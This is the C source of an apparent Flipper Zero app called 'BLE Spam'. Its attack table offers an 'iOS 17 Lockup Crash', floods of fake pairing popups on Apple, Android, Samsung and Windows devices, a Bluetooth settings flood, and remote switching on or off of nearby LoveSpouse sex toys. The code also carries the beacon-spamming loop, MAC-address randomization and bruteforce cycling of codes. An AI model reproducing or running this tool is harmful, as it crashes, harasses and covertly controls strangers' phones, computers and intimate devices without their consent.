ble_spam.c 25 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739
  1. #include "ble_spam.h"
  2. #include <gui/gui.h>
  3. #include <furi_hal_bt.h>
  4. #include <extra_beacon.h>
  5. #include <gui/elements.h>
  6. #include "protocols/_protocols.h"
  7. // Hacked together by @Willy-JL
  8. // Custom adv API by @Willy-JL (idea by @xMasterX)
  9. // iOS 17 Crash by @ECTO-1A
  10. // Android, Samsung and Windows Pairs by @Spooks4576 and @ECTO-1A
  11. // Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576
  12. // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
  13. static Attack attacks[] = {
  14. {
  15. .title = "The Kitchen Sink",
  16. .text = "Flood all attacks at once",
  17. .protocol = NULL,
  18. .payload =
  19. {
  20. .random_mac = true,
  21. .cfg = {},
  22. },
  23. },
  24. {
  25. .title = "BT Settings Flood",
  26. .text = "Fills available BT devices",
  27. .protocol = &protocol_nameflood,
  28. .payload =
  29. {
  30. .random_mac = true,
  31. .cfg.nameflood = {},
  32. },
  33. },
  34. {
  35. .title = "iOS 17 Lockup Crash",
  36. .text = "Newer iPhones, long range",
  37. .protocol = &protocol_continuity,
  38. .payload =
  39. {
  40. .random_mac = false,
  41. .cfg.continuity =
  42. {
  43. .type = ContinuityTypeCustomCrash,
  44. },
  45. },
  46. },
  47. {
  48. .title = "Apple Action Modal",
  49. .text = "Lock cooldown, long range",
  50. .protocol = &protocol_continuity,
  51. .payload =
  52. {
  53. .random_mac = false,
  54. .cfg.continuity =
  55. {
  56. .type = ContinuityTypeNearbyAction,
  57. },
  58. },
  59. },
  60. {
  61. .title = "Apple Device Popup",
  62. .text = "No cooldown, close range",
  63. .protocol = &protocol_continuity,
  64. .payload =
  65. {
  66. .random_mac = false,
  67. .cfg.continuity =
  68. {
  69. .type = ContinuityTypeProximityPair,
  70. },
  71. },
  72. },
  73. {
  74. .title = "Android Device Connect",
  75. .text = "Reboot cooldown, long range",
  76. .protocol = &protocol_fastpair,
  77. .payload =
  78. {
  79. .random_mac = true,
  80. .cfg.fastpair = {},
  81. },
  82. },
  83. {
  84. .title = "Samsung Buds Popup",
  85. .text = "No cooldown, long range",
  86. .protocol = &protocol_easysetup,
  87. .payload =
  88. {
  89. .random_mac = true,
  90. .cfg.easysetup =
  91. {
  92. .type = EasysetupTypeBuds,
  93. },
  94. },
  95. },
  96. {
  97. .title = "Samsung Watch Pair",
  98. .text = "No cooldown, long range",
  99. .protocol = &protocol_easysetup,
  100. .payload =
  101. {
  102. .random_mac = true,
  103. .cfg.easysetup =
  104. {
  105. .type = EasysetupTypeWatch,
  106. },
  107. },
  108. },
  109. {
  110. .title = "Windows Device Found",
  111. .text = "No cooldown, short range",
  112. .protocol = &protocol_swiftpair,
  113. .payload =
  114. {
  115. .random_mac = true,
  116. .cfg.swiftpair = {},
  117. },
  118. },
  119. {
  120. .title = "Vibrate 'em All",
  121. .text = "Activate all LoveSpouse toys",
  122. .protocol = &protocol_lovespouse,
  123. .payload =
  124. {
  125. .random_mac = true,
  126. .cfg.lovespouse =
  127. {
  128. .state = LovespouseStatePlay,
  129. },
  130. },
  131. },
  132. {
  133. .title = "Denial of Pleasure",
  134. .text = "Disable all LoveSpouse toys",
  135. .protocol = &protocol_lovespouse,
  136. .payload =
  137. {
  138. .random_mac = true,
  139. .cfg.lovespouse =
  140. {
  141. .state = LovespouseStateStop,
  142. },
  143. },
  144. },
  145. };
  146. #define ATTACKS_COUNT ((signed)COUNT_OF(attacks))
  147. static uint16_t delays[] = {20, 50, 100, 200, 500};
  148. typedef struct {
  149. Ctx ctx;
  150. View* main_view;
  151. bool lock_warning;
  152. uint8_t lock_count;
  153. FuriTimer* lock_timer;
  154. bool advertising;
  155. uint8_t delay;
  156. GapExtraBeaconConfig config;
  157. FuriThread* thread;
  158. int8_t index;
  159. bool ignore_bruteforce;
  160. } State;
  161. const NotificationSequence solid_message = {
  162. &message_red_0,
  163. &message_green_255,
  164. &message_blue_255,
  165. &message_do_not_reset,
  166. &message_delay_10,
  167. NULL,
  168. };
  169. NotificationMessage blink_message = {
  170. .type = NotificationMessageTypeLedBlinkStart,
  171. .data.led_blink.color = LightBlue | LightGreen,
  172. .data.led_blink.on_time = 10,
  173. .data.led_blink.period = 100,
  174. };
  175. const NotificationSequence blink_sequence = {
  176. &blink_message,
  177. &message_do_not_reset,
  178. NULL,
  179. };
  180. static void start_blink(State* state) {
  181. uint16_t period = delays[state->delay];
  182. if(period <= 100) period += 30;
  183. blink_message.data.led_blink.period = period;
  184. notification_message_block(state->ctx.notification, &blink_sequence);
  185. }
  186. static void stop_blink(State* state) {
  187. notification_message_block(state->ctx.notification, &sequence_blink_stop);
  188. }
  189. static void randomize_mac(State* state) {
  190. furi_hal_random_fill_buf(state->config.address, sizeof(state->config.address));
  191. }
  192. static void start_extra_beacon(State* state) {
  193. uint8_t size;
  194. uint8_t* packet;
  195. uint16_t delay = delays[state->delay];
  196. GapExtraBeaconConfig* config = &state->config;
  197. Payload* payload = &attacks[state->index].payload;
  198. const Protocol* protocol = attacks[state->index].protocol;
  199. config->min_adv_interval_ms = delay;
  200. config->max_adv_interval_ms = delay * 1.5;
  201. if(payload->random_mac) randomize_mac(state);
  202. furi_check(furi_hal_bt_extra_beacon_set_config(config));
  203. if(protocol) {
  204. protocol->make_packet(&size, &packet, payload);
  205. } else {
  206. protocols[rand() % protocols_count]->make_packet(&size, &packet, NULL);
  207. }
  208. furi_check(furi_hal_bt_extra_beacon_set_data(packet, size));
  209. free(packet);
  210. furi_check(furi_hal_bt_extra_beacon_start());
  211. }
  212. static int32_t adv_thread(void* _ctx) {
  213. State* state = _ctx;
  214. Payload* payload = &attacks[state->index].payload;
  215. const Protocol* protocol = attacks[state->index].protocol;
  216. if(!payload->random_mac) randomize_mac(state);
  217. if(state->ctx.led_indicator) start_blink(state);
  218. if(furi_hal_bt_extra_beacon_is_active()) {
  219. furi_check(furi_hal_bt_extra_beacon_stop());
  220. }
  221. while(state->advertising) {
  222. if(protocol && payload->mode == PayloadModeBruteforce &&
  223. payload->bruteforce.counter++ >= 10) {
  224. payload->bruteforce.counter = 0;
  225. payload->bruteforce.value =
  226. (payload->bruteforce.value + 1) % (1 << (payload->bruteforce.size * 8));
  227. }
  228. start_extra_beacon(state);
  229. furi_thread_flags_wait(true, FuriFlagWaitAny, delays[state->delay]);
  230. furi_check(furi_hal_bt_extra_beacon_stop());
  231. }
  232. if(state->ctx.led_indicator) stop_blink(state);
  233. return 0;
  234. }
  235. static void toggle_adv(State* state) {
  236. if(state->advertising) {
  237. state->advertising = false;
  238. furi_thread_flags_set(furi_thread_get_id(state->thread), true);
  239. furi_thread_join(state->thread);
  240. } else {
  241. state->advertising = true;
  242. furi_thread_start(state->thread);
  243. }
  244. }
  245. #define PAGE_MIN (-5)
  246. #define PAGE_MAX ATTACKS_COUNT
  247. enum {
  248. PageHelpBruteforce = PAGE_MIN,
  249. PageHelpApps,
  250. PageHelpDelay,
  251. PageHelpDistance,
  252. PageHelpInfoConfig,
  253. PageStart = 0,
  254. PageEnd = ATTACKS_COUNT - 1,
  255. PageAboutCredits = PAGE_MAX,
  256. };
  257. static void draw_callback(Canvas* canvas, void* _ctx) {
  258. State* state = *(State**)_ctx;
  259. const char* back = "Back";
  260. const char* next = "Next";
  261. if(state->index < 0) {
  262. back = "Next";
  263. next = "Back";
  264. }
  265. switch(state->index) {
  266. case PageStart - 1:
  267. next = "Spam";
  268. break;
  269. case PageStart:
  270. back = "Help";
  271. break;
  272. case PageEnd:
  273. next = "About";
  274. break;
  275. case PageEnd + 1:
  276. back = "Spam";
  277. break;
  278. }
  279. const Attack* attack =
  280. (state->index >= 0 && state->index <= ATTACKS_COUNT - 1) ? &attacks[state->index] : NULL;
  281. const Payload* payload = attack ? &attack->payload : NULL;
  282. const Protocol* protocol = attack ? attack->protocol : NULL;
  283. canvas_set_font(canvas, FontSecondary);
  284. const Icon* icon = protocol ? protocol->icon : &I_ble_spam;
  285. canvas_draw_icon(canvas, 4 - (icon == &I_ble_spam), 3, icon);
  286. canvas_draw_str(canvas, 14, 12, "BLE Spam");
  287. switch(state->index) {
  288. case PageHelpBruteforce:
  289. canvas_set_font(canvas, FontBatteryPercent);
  290. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  291. elements_text_box(
  292. canvas,
  293. 4,
  294. 16,
  295. 120,
  296. 48,
  297. AlignLeft,
  298. AlignTop,
  299. "\e#Bruteforce\e# cycles codes\n"
  300. "to find popups, hold left and\n"
  301. "right to send manually and\n"
  302. "change delay",
  303. false);
  304. break;
  305. case PageHelpApps:
  306. canvas_set_font(canvas, FontBatteryPercent);
  307. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  308. elements_text_box(
  309. canvas,
  310. 4,
  311. 16,
  312. 120,
  313. 48,
  314. AlignLeft,
  315. AlignTop,
  316. "\e#Some Apps\e# interfere\n"
  317. "with the attacks, stay on\n"
  318. "homescreen for best results",
  319. false);
  320. break;
  321. case PageHelpDelay:
  322. canvas_set_font(canvas, FontBatteryPercent);
  323. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  324. elements_text_box(
  325. canvas,
  326. 4,
  327. 16,
  328. 120,
  329. 48,
  330. AlignLeft,
  331. AlignTop,
  332. "\e#Delay\e# is time between\n"
  333. "attack attempts (top right),\n"
  334. "keep 20ms for best results",
  335. false);
  336. break;
  337. case PageHelpDistance:
  338. canvas_set_font(canvas, FontBatteryPercent);
  339. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  340. elements_text_box(
  341. canvas,
  342. 4,
  343. 16,
  344. 120,
  345. 48,
  346. AlignLeft,
  347. AlignTop,
  348. "\e#Distance\e# varies greatly:\n"
  349. "some are long range (>30 m)\n"
  350. "others are close range (<1 m)",
  351. false);
  352. break;
  353. case PageHelpInfoConfig:
  354. canvas_set_font(canvas, FontBatteryPercent);
  355. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  356. elements_text_box(
  357. canvas,
  358. 4,
  359. 16,
  360. 120,
  361. 48,
  362. AlignLeft,
  363. AlignTop,
  364. "See \e#more info\e# and change\n"
  365. "\e#attack options\e# by holding\n"
  366. "Ok on each attack page",
  367. false);
  368. break;
  369. case PageAboutCredits:
  370. canvas_set_font(canvas, FontBatteryPercent);
  371. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Credits");
  372. elements_text_box(
  373. canvas,
  374. 4,
  375. 16,
  376. 122,
  377. 48,
  378. AlignLeft,
  379. AlignTop,
  380. "App+Spam: \e#WillyJL\e# MNTM\n"
  381. "Apple+Crash: \e#ECTO-1A\e#\n"
  382. "Android+Win: \e#Spooks4576\e#\n"
  383. " Version \e#" FAP_VERSION "\e#",
  384. false);
  385. break;
  386. default: {
  387. if(!attack) break;
  388. if(state->ctx.lock_keyboard && !state->advertising) {
  389. // Forgive me Lord for I have sinned by handling state in draw
  390. toggle_adv(state);
  391. }
  392. char str[32];
  393. canvas_set_font(canvas, FontBatteryPercent);
  394. if(payload->mode == PayloadModeBruteforce) {
  395. snprintf(
  396. str,
  397. sizeof(str),
  398. "0x%0*lX",
  399. payload->bruteforce.size * 2,
  400. payload->bruteforce.value);
  401. } else {
  402. snprintf(str, sizeof(str), "%ims", delays[state->delay]);
  403. }
  404. canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
  405. canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
  406. canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
  407. canvas_set_font(canvas, FontBatteryPercent);
  408. if(payload->mode == PayloadModeBruteforce) {
  409. canvas_draw_str_aligned(canvas, 64, 22, AlignCenter, AlignBottom, "Bruteforce");
  410. if(delays[state->delay] < 100) {
  411. snprintf(str, sizeof(str), "%ims>", delays[state->delay]);
  412. } else {
  413. snprintf(str, sizeof(str), "%.1fs>", (double)delays[state->delay] / 1000);
  414. }
  415. uint16_t w = canvas_string_width(canvas, str);
  416. elements_slightly_rounded_box(canvas, 3, 14, 30, 10);
  417. elements_slightly_rounded_box(canvas, 119 - w, 14, 6 + w, 10);
  418. canvas_invert_color(canvas);
  419. canvas_draw_str_aligned(canvas, 5, 22, AlignLeft, AlignBottom, "<Send");
  420. canvas_draw_str_aligned(canvas, 122, 22, AlignRight, AlignBottom, str);
  421. canvas_invert_color(canvas);
  422. } else {
  423. snprintf(
  424. str,
  425. sizeof(str),
  426. "%02i/%02i: %s",
  427. state->index + 1,
  428. ATTACKS_COUNT,
  429. protocol ? protocol->get_name(payload) : "Everything AND");
  430. canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 22, str);
  431. }
  432. canvas_set_font(canvas, FontPrimary);
  433. canvas_draw_str(canvas, 4, 33, attack->title);
  434. canvas_set_font(canvas, FontSecondary);
  435. canvas_draw_str(canvas, 4, 46, attack->text);
  436. elements_button_center(canvas, state->advertising ? "Stop" : "Start");
  437. break;
  438. }
  439. }
  440. if(state->index > PAGE_MIN) {
  441. elements_button_left(canvas, back);
  442. }
  443. if(state->index < PAGE_MAX) {
  444. elements_button_right(canvas, next);
  445. }
  446. if(state->lock_warning) {
  447. canvas_set_font(canvas, FontSecondary);
  448. elements_bold_rounded_frame(canvas, 14, 8, 99, 48);
  449. elements_multiline_text(canvas, 65, 26, "To unlock\npress:");
  450. canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8);
  451. canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8);
  452. canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8);
  453. canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42);
  454. canvas_draw_dot(canvas, 17, 61);
  455. }
  456. }
  457. static bool input_callback(InputEvent* input, void* _ctx) {
  458. View* view = _ctx;
  459. State* state = *(State**)view_get_model(view);
  460. bool consumed = false;
  461. if(state->ctx.lock_keyboard) {
  462. consumed = true;
  463. state->lock_warning = true;
  464. if(state->lock_count == 0) {
  465. furi_timer_set_thread_priority(FuriTimerThreadPriorityElevated);
  466. furi_timer_start(state->lock_timer, 1000);
  467. }
  468. if(input->type == InputTypeShort && input->key == InputKeyBack) {
  469. state->lock_count++;
  470. }
  471. if(state->lock_count >= 3) {
  472. furi_timer_set_thread_priority(FuriTimerThreadPriorityElevated);
  473. furi_timer_start(state->lock_timer, 1);
  474. }
  475. } else if(
  476. input->type == InputTypeShort || input->type == InputTypeLong ||
  477. input->type == InputTypeRepeat) {
  478. consumed = true;
  479. bool is_attack = state->index >= 0 && state->index <= ATTACKS_COUNT - 1;
  480. Payload* payload = is_attack ? &attacks[state->index].payload : NULL;
  481. bool advertising = state->advertising;
  482. switch(input->key) {
  483. case InputKeyOk:
  484. if(is_attack) {
  485. if(input->type == InputTypeLong) {
  486. if(advertising) toggle_adv(state);
  487. state->ctx.attack = &attacks[state->index];
  488. scene_manager_set_scene_state(state->ctx.scene_manager, SceneConfig, 0);
  489. view_commit_model(view, consumed);
  490. scene_manager_next_scene(state->ctx.scene_manager, SceneConfig);
  491. return consumed;
  492. } else if(input->type == InputTypeShort) {
  493. toggle_adv(state);
  494. }
  495. }
  496. break;
  497. case InputKeyUp:
  498. if(is_attack) {
  499. if(payload->mode == PayloadModeBruteforce) {
  500. payload->bruteforce.counter = 0;
  501. payload->bruteforce.value =
  502. (payload->bruteforce.value + 1) % (1 << (payload->bruteforce.size * 8));
  503. } else if(state->delay < COUNT_OF(delays) - 1) {
  504. state->delay++;
  505. if(advertising) start_blink(state);
  506. }
  507. }
  508. break;
  509. case InputKeyDown:
  510. if(is_attack) {
  511. if(payload->mode == PayloadModeBruteforce) {
  512. payload->bruteforce.counter = 0;
  513. payload->bruteforce.value =
  514. (payload->bruteforce.value - 1) % (1 << (payload->bruteforce.size * 8));
  515. } else if(state->delay > 0) {
  516. state->delay--;
  517. if(advertising) start_blink(state);
  518. }
  519. }
  520. break;
  521. case InputKeyLeft:
  522. if(input->type == InputTypeLong) {
  523. state->ignore_bruteforce = payload ? (payload->mode != PayloadModeBruteforce) :
  524. true;
  525. }
  526. if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce ||
  527. payload->mode != PayloadModeBruteforce) {
  528. if(state->index > PAGE_MIN) {
  529. if(advertising) toggle_adv(state);
  530. state->index--;
  531. }
  532. } else {
  533. if(!advertising) {
  534. Payload* payload = &attacks[state->index].payload;
  535. if(input->type == InputTypeLong && !payload->random_mac) randomize_mac(state);
  536. if(furi_hal_bt_extra_beacon_is_active()) {
  537. furi_check(furi_hal_bt_extra_beacon_stop());
  538. }
  539. start_extra_beacon(state);
  540. if(state->ctx.led_indicator)
  541. notification_message(state->ctx.notification, &solid_message);
  542. furi_delay_ms(10);
  543. furi_check(furi_hal_bt_extra_beacon_stop());
  544. if(state->ctx.led_indicator)
  545. notification_message_block(state->ctx.notification, &sequence_reset_rgb);
  546. }
  547. }
  548. break;
  549. case InputKeyRight:
  550. if(input->type == InputTypeLong) {
  551. state->ignore_bruteforce = payload ? (payload->mode != PayloadModeBruteforce) :
  552. true;
  553. }
  554. if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce ||
  555. payload->mode != PayloadModeBruteforce) {
  556. if(state->index < PAGE_MAX) {
  557. if(advertising) toggle_adv(state);
  558. state->index++;
  559. }
  560. } else if(input->type == InputTypeLong) {
  561. state->delay = (state->delay + 1) % COUNT_OF(delays);
  562. if(advertising) start_blink(state);
  563. }
  564. break;
  565. case InputKeyBack:
  566. if(advertising) toggle_adv(state);
  567. consumed = false;
  568. break;
  569. default:
  570. break;
  571. }
  572. }
  573. view_commit_model(view, consumed);
  574. return consumed;
  575. }
  576. static void lock_timer_callback(void* _ctx) {
  577. State* state = _ctx;
  578. if(state->lock_count < 3) {
  579. notification_message_block(state->ctx.notification, &sequence_display_backlight_off);
  580. } else {
  581. state->ctx.lock_keyboard = false;
  582. }
  583. with_view_model(
  584. state->main_view, State * *model, { (*model)->lock_warning = false; }, true);
  585. state->lock_count = 0;
  586. furi_timer_set_thread_priority(FuriTimerThreadPriorityNormal);
  587. }
  588. static void tick_event_callback(void* _ctx) {
  589. State* state = _ctx;
  590. bool advertising;
  591. with_view_model(
  592. state->main_view, State * *model, { advertising = (*model)->advertising; }, advertising);
  593. scene_manager_handle_tick_event(state->ctx.scene_manager);
  594. }
  595. static bool back_event_callback(void* _ctx) {
  596. State* state = _ctx;
  597. return scene_manager_handle_back_event(state->ctx.scene_manager);
  598. }
  599. int32_t ble_spam(void* p) {
  600. UNUSED(p);
  601. GapExtraBeaconConfig prev_cfg;
  602. const GapExtraBeaconConfig* prev_cfg_ptr = furi_hal_bt_extra_beacon_get_config();
  603. if(prev_cfg_ptr) {
  604. memcpy(&prev_cfg, prev_cfg_ptr, sizeof(prev_cfg));
  605. }
  606. uint8_t prev_data[EXTRA_BEACON_MAX_DATA_SIZE];
  607. uint8_t prev_data_len = furi_hal_bt_extra_beacon_get_data(prev_data);
  608. bool prev_active = furi_hal_bt_extra_beacon_is_active();
  609. State* state = malloc(sizeof(State));
  610. state->config.adv_channel_map = GapAdvChannelMapAll;
  611. state->config.adv_power_level = GapAdvPowerLevel_6dBm;
  612. state->config.address_type = GapAddressTypePublic;
  613. state->thread = furi_thread_alloc();
  614. furi_thread_set_callback(state->thread, adv_thread);
  615. furi_thread_set_context(state->thread, state);
  616. furi_thread_set_stack_size(state->thread, 2048);
  617. state->ctx.led_indicator = true;
  618. state->lock_timer = furi_timer_alloc(lock_timer_callback, FuriTimerTypeOnce, state);
  619. state->ctx.notification = furi_record_open(RECORD_NOTIFICATION);
  620. Gui* gui = furi_record_open(RECORD_GUI);
  621. state->ctx.view_dispatcher = view_dispatcher_alloc();
  622. view_dispatcher_enable_queue(state->ctx.view_dispatcher);
  623. view_dispatcher_set_event_callback_context(state->ctx.view_dispatcher, state);
  624. view_dispatcher_set_tick_event_callback(state->ctx.view_dispatcher, tick_event_callback, 100);
  625. view_dispatcher_set_navigation_event_callback(state->ctx.view_dispatcher, back_event_callback);
  626. state->ctx.scene_manager = scene_manager_alloc(&scene_handlers, &state->ctx);
  627. state->main_view = view_alloc();
  628. view_allocate_model(state->main_view, ViewModelTypeLocking, sizeof(State*));
  629. with_view_model(
  630. state->main_view, State * *model, { *model = state; }, false);
  631. view_set_context(state->main_view, state->main_view);
  632. view_set_draw_callback(state->main_view, draw_callback);
  633. view_set_input_callback(state->main_view, input_callback);
  634. view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, state->main_view);
  635. state->ctx.byte_input = byte_input_alloc();
  636. view_dispatcher_add_view(
  637. state->ctx.view_dispatcher, ViewByteInput, byte_input_get_view(state->ctx.byte_input));
  638. state->ctx.submenu = submenu_alloc();
  639. view_dispatcher_add_view(
  640. state->ctx.view_dispatcher, ViewSubmenu, submenu_get_view(state->ctx.submenu));
  641. state->ctx.text_input = text_input_alloc();
  642. view_dispatcher_add_view(
  643. state->ctx.view_dispatcher, ViewTextInput, text_input_get_view(state->ctx.text_input));
  644. state->ctx.variable_item_list = variable_item_list_alloc();
  645. view_dispatcher_add_view(
  646. state->ctx.view_dispatcher,
  647. ViewVariableItemList,
  648. variable_item_list_get_view(state->ctx.variable_item_list));
  649. view_dispatcher_attach_to_gui(state->ctx.view_dispatcher, gui, ViewDispatcherTypeFullscreen);
  650. scene_manager_next_scene(state->ctx.scene_manager, SceneMain);
  651. view_dispatcher_run(state->ctx.view_dispatcher);
  652. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewByteInput);
  653. byte_input_free(state->ctx.byte_input);
  654. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewSubmenu);
  655. submenu_free(state->ctx.submenu);
  656. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewTextInput);
  657. text_input_free(state->ctx.text_input);
  658. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewVariableItemList);
  659. variable_item_list_free(state->ctx.variable_item_list);
  660. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewMain);
  661. view_free(state->main_view);
  662. scene_manager_free(state->ctx.scene_manager);
  663. view_dispatcher_free(state->ctx.view_dispatcher);
  664. furi_record_close(RECORD_GUI);
  665. furi_record_close(RECORD_NOTIFICATION);
  666. furi_timer_free(state->lock_timer);
  667. furi_thread_free(state->thread);
  668. free(state);
  669. if(furi_hal_bt_extra_beacon_is_active()) {
  670. furi_check(furi_hal_bt_extra_beacon_stop());
  671. }
  672. if(prev_cfg_ptr) {
  673. furi_check(furi_hal_bt_extra_beacon_set_config(&prev_cfg));
  674. }
  675. furi_check(furi_hal_bt_extra_beacon_set_data(prev_data, prev_data_len));
  676. if(prev_active) {
  677. furi_check(furi_hal_bt_extra_beacon_start());
  678. }
  679. return 0;
  680. }